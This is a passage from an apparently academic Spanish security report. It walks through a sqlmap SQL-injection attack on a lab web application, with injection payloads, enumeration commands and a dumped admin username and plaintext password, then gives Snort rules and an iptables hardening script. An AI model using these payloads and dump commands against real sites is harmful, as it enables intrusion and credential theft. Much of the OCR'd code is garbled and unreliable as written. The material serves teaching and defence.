Payload: prod=4 AND 3489=3489&type=l

== Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: prod=4 AND (SELECT 3629 FROM(SELECT COUNT (*),CONCAT (0x7170627071, (SELECT (ELT
(3629=3629,1) ) ), 0x71766b7671 , FLOOR(RAND (0)*2) )x FROM INFORMATION SCHEMA.CHARACTER_SETS GRO
UP BY x)a)&type=1

o~ Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: prod=4 AND (SELECT * FROM (SELECT(SLEEP(S)))gXxD)&type=1

o> Type: UNION query

Title: Generic UNION query (NULL) - S columns

Payload: prod=-4102 UNION ALL SELECT NULL,NULL,NULL,NULL, CONCAT (0x7170627071, 0x6d58485
371675662666b, 0x71766b7671) - - &types=l

web server operating system: Linux Fedora

web application technology: PHP 5.6.14, Apache 2.4.16

back-end DBMS: MySQL 5.0

[19:26:52] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1

0"
0

[*] shutting down at 19:26:52

rantakal .2 UM, Cerritarine B

Figura 6.11: Obtencion de los resultados en sqlmap
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Hora sabiendo la arquitectura, podemos volver a ejecutar el comando pasandole como
pardmetro la informacion mas precisa. Ademas le introduciremos un parametro que nos
devolvera (si todo va bien) el nombre de la base de datos afectada.

root@kali-2-VH: - /Escritorio# sqlmap -r consulta --dbms=mysql --current-db

Figura 6.12: ejecucion de la consulta mas detallada

[19:37:28] [INFO] testing MySOL

[19:37:28] [INFO] confirming MySOL

web server operating system: Linux Fedora

web application technology: PHP 5.6.14, Apache 2.4.16

back-end DBMS: MySOL == 5.0.0

[19:37:28] [INFO] fetching current database

current database: 'seattle’

[19:37:28] [INFO] fetched data logged to text files under ' /root/.sqlmap/outputs192.16
38"

[*] shutting down at 19:37:28

ront@Kali-2-WH: ~/Fscritoriog B

Figura 6.13: Resultado del nombre de la BD.

Ya sabemos que la BD se llama ‘seattle’. Ahora siguiendo la misma filosofia, volvemos a
introducir el comando pasandole como parametro el nombre de la BD, ademas de la consulta
de las tablas que existen en la misma:

root@kali=-Z-VH: - ‘Escritoric# sglmap -r consulta --dbms=mysgl -D seattle --tables

Figura 6.14: Consulta para obtencion de las tablas de la BD.

e 4 e e M g ey e e e o e s
[19:42:07] [INFO] retrieved: tb1Blogs

[19:42:07] [INFCO] retrieved: thblMembers

[19:42:07] [INFO] retrieved: tblProducts

Database: seattle

[2 tables]

L +

| th1Blogs |

| thlMembers |

| thlProducts |

[19:42:07] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192. 16E
38’
[*] shutting down at 19:42.07

root@Kali-2-VH: - /Escritoricg JJ

Figura 6.15: Obtencién de las tablas de la BD

Como vemos, quedan expuestas todas las tablas. Ahora se podrian hacer muchas cosas, entre
ellas eliminar la base de datos, modificarla para hacer una especie de cross site persistente o
lo que vamos a hacer, intentar acceder a la cuenta de usuario de administrador para poder
tener acceso completo a la web. Para ello simplemente navegaremos por la base de datos:

rootgKali-2-VH: - /Escritorio# sqlmap -r consulta --dbms=mysql -D seattle -T thlMembers --columns

Figura 6.16: Comando para la obtencion de las comunas de la tabla de miembros
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Table: tblMembers
[7 columns]

varchar(32)
int(11)
int(11l)

session
|
|
int(11) |
|
|
|

|

| admin
| blog
| id

| name varchar(g4)
| password | varchar(20)
| username | varchar(g4)

T
——— i}
i

[19:48:28] [INFO] fetched data logged to text files under '/root/.sqlmapfoutput/192.168.1. 38"

[#] shuttina down at 19:48:28
Figura 6.17: Obtencion de columnas de la tabla.

Y como vemos nos aparecen las columnas de la tabla. Por supuesto nos interesan la columnas
username y password que obtendremos directamente volcando la base de datos:

root@kal i-2-VH: riot sqlmap -r consulta --dbms=mysql -D seattle -T thlMembers --dump

Database: seattle
Table: thlMembers

[1 entryl

R SRS PP o B T LR B P +
| id | name | blog | admin | username | password | session |
e R o B s e s T +
| 1 | Admin | 1 |1 | admin@seattlesounds.net | Assasinl | dcffBafOeb2824aebd47809745bakgass
e T oo oo B R B B +

[19:53:08] [INFO] table 'seattle.tblMembers' dumped to €SV file '/root/.sqlmap/outputs/192.168.1.38/dump
seattle/th1lMembers.csv'

[18:53:08] [INFO] fetched data logged to text files under '/root/.sglmap/output/192.168.1.38'

[#] shutting down at 19:53:08

root@Kali-2-VH: 2 1

Figura 6.18: Obtencion de la informacion de los usuarios y contrasefias.

Si introducimos el usuario correcto, vemos como efectivamente accedemos con la cuenta del
administrador.

Hello Admin! [Logout]

Post new blog:

Title: |
Content:
admin@seattlesounds.net
LA AL LX) .|

| Post |

Figura 6.19: Login como Admin

Como vemos, aunque el ejemplo es relativamente sencillo, el hecho de no cifrar las
contrasefias y no normalizar la entrada de parametros de las consultas, puede provocar un
acceso a la base de datos ajeno que desemboca en el filtrado de informacion masivo y una
web entera comprometida.
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6.2 Configuracién de snort e iptables

Por dltimo, para acabar este documento, es interesante proponer alguna configuracion de
firewall e IDS recomendada.

Segun [1], una configuracion basica comuin de iptables seria la adjunta en el anexo de este
documento. De este modo se echa un vistazo al gran abanico de acciones que podemos llevar
a cabo con las reglas.

Para la configuracion de un IDS, podemos hacer un ejemplo [2] de acciones que se llevan a
cabo con las reglas de Snort. Esta herramienta es muy versatil y conviene estudiar cada caso
para ajustarlo a lo que se desea.

#Reqglas:

#L1egada de paquetes UDP dirigidos a nuestro Serverl

ipvar IPSERVERS [192.168.1.1/24]

alert udp $EXTERNAL_NET any -> $HOME_NET $IPSERVERS (msg:”Escaneo de paquetes UDP llegados a nuestros servers”;)
#Accesos a puertos TCP de los servers diferentes a http/tcp/80

portvar PUERTO [!80]

alert TCP any $PUERTO -> $HOME_NET 192.168.1.1/24 $PUERTO (msg:"Escaneo de paquetes diferentes de TCP/80. Se
considera a éstos como trafico no HTTP potencialmente indeseable”;)

#Ataque xmas tree

portvar PUERTO (80]

alert tcp any $PUERTO -> $HOME_NET $IPSERVERS (msg:“Ataque Xmas-tree”; flags: AFPRSU;)

#Conexi6n de los servidores al resto de internet

ipvar IPSERVERS [192.168.1.1/24)

alert ip any any <- $HOME_NET $IPSERVERS (msg:”Servers accediendo a Internet”;)

#Conexién procedente de Internet hacia cualquier maguina LAN interna

ipvar IPLAN [192.168.0.1/24]

alert ip any any -> $HOME NET $IPLAN (msg:”Acceso remoto a red LAN desde Internet”;)

#Prueba de deteccidn ataque DoS

alert tcp any any -> $HOME_NET any (msg:"Posible ataque DoS"; detection_filter:track by dst, count 30, seconds
1)

alert udp any any -> $HOME_NET any (msg:"Posible ataque DoS"; detection_filter:track by dst, count 30, seconds
1)

Figura 6.20: Un ejemplo de reglas de Snort
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Anexo

Script funcional comun para iptables.
#1/bin/bash

# Direccidn IP de la maguina a protejer
IP="192.168.145.32"

# Vaciar los contadores
iptables -F
iptables -X
iptables -Z

# Por defecto, deshechar todos los INPUT y FORWARD que no consten en alguna regla
iptables -P INPUT DROP

iptables -P FORWARD DROP

# Permitir el trafico hacia afuera

iptables -P OUTPUT ACCEPT

#REGLAS PARA LAS CONEXIONES ENTRANTES----------

# Permitir eltréfico en la interfaz loopback
iptables -A INPUT -i lo -j ACCEPT

# Permitir HTTP/S
iptables -A INPUT -p tcp -d $IP --sport 1824:65535 --dport 88 -m state --state MEW -j ACCEPT
iptables -A INPUT -p tcp -d $IP --sport 1824:65535 --dport 443 -m state --state MEW -j ACCEPT

# Permitir SSH
iptables -A INPUT -p tcp -d $IP --sport 1824:65535 --dport 22 -m state --state MEW -j ACCEPT

# Permitir comprovacicnes ping
iptables -A INPUT -p icmp --icmp-type 8 -m conntrack --ctstate NEW -j ACCEPT

# Bloguear conexiones TCP que no empiecen con SYN

iptables -4 INPUT -i eth8 -p tcp ! --syn -m state --state MNEW -m limit --limit 5/m --limit-
burst 7 -j LOG --log-level 4 --log-prefix "TCP RST,ACK,FIN"
iptables -A INPUT -i eth@ -p tcp ! --syn -m state --state NEW -j DROP

# Bloguear paquetes NULL

iptables -4 INPUT -i eth8® -p tcp --tcp-flags ALL MOME -m 1limit --1imit 5/m --limit-burst 7 -j
LOG --log-level 4 --log-prefix "NULL Packets"

iptables -A INPUT -i eth@ -p tcp --tcp-flags ALL NOMNE -j DROP

# Bloguear paguetes no walidos
iptables -A INPUT -m conntrack --ctstate INVALID -j DROP

# Validar flags TCP
iptables -4 INPUT -1 eth@ -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP

# Bloguear fragmentos entrantes

iptables -4 INPUT -i eth8 -f -m limit --1limit 5/m --limit-burst 7 -j LOG --log-level 4 --
log-prefix "Fragment Packets”

iptables -4 INPUT -i eth@ -f -j DROP
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# Bloquear pagquetes fragmentados

iptables -A INPUT -i eth@ -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
iptables -A INPUT -i eth® -p tcp --tcp-flags ALL ALL -j DROP
iptables -A INPUT -i eth@ -p tcp --tcp-flags SYM,RST SYN,RST -j DROP

# Bloguear paguetes "XMAS-tree" fragmentados

iptables -A INPUT -i eth® -p tcp --tcp-flags SYN,FIN SYN,FIN -m limit --1imit 5/m --limit-
burst 7 -j LOG --log-level 4 --log-prefix "XMAS Packets”

iptables -A INPUT -i eth@ -p tcp --tcp-flags SYM,FIN SYN,FIN -j DROP

# Bloquear atagues Fin-Scan

iptables -A INPUT -i eth® -p tcp --tcp-flags FIN,ACK FIN -m limit --1limit 5/m --limit-burst 7
-j LOG --log-level 4 --log-prefix "Fin Packets Scan”

iptables -A INPUT -i eth® -p tcp --tcp-flags FIN,ACK FIN -j DROP

# Loguear el resto
iptables -A INPUT -7 LOG
iptables -A FORWARD -9 LOG
iptables -A INPUT -j DROP

# PROTECCIONES DE KERMEL

# Ignorar broadcasts icmp

echo -n 1" » /proc/sys/net/ipvd/icmp_echo_ignore_broadcasts
# Deshabilitar Source Routing

eche -n '8" > /proc/sys/net/ipvd/conf/all/accept_source_route
# Deshabilitar ICMP redirects

echo -n 'B" > /proc/sys/net/ipvd/conf/all/accept_redirects

# Proteccidn contra "bad error messages”

echo -n "1" > /proc/sys/net/ipvd/icmp_ignore_bogus_error_responses
# Deshabilitar ip forwarding

echo -n '@ » /proc/sys/net/ipvd/ip_forward

# Crear un log de usuarios sospechosos

eche -n '1" »/proc/sys/net/ipvd/conf/all/leog_martians

#REGLAS PARA LAS COMEXIONES SALIENTES-------------

iptables -P OUTPUT DROP

iptables -A QUTPUT -p a1l -m state --state RELATED,ESTABLISHED -j ACCEPT

iptables -A OQUTPUT -s $IP -p tcp --sport 1824:65535 --dport 88 -m state --state MEW -j ACCEPT
iptables -A OUTPUT -s $IP -p tcp --sport 1824:65535 --dport 443 -m state --state MNEW -j
ACCEPT
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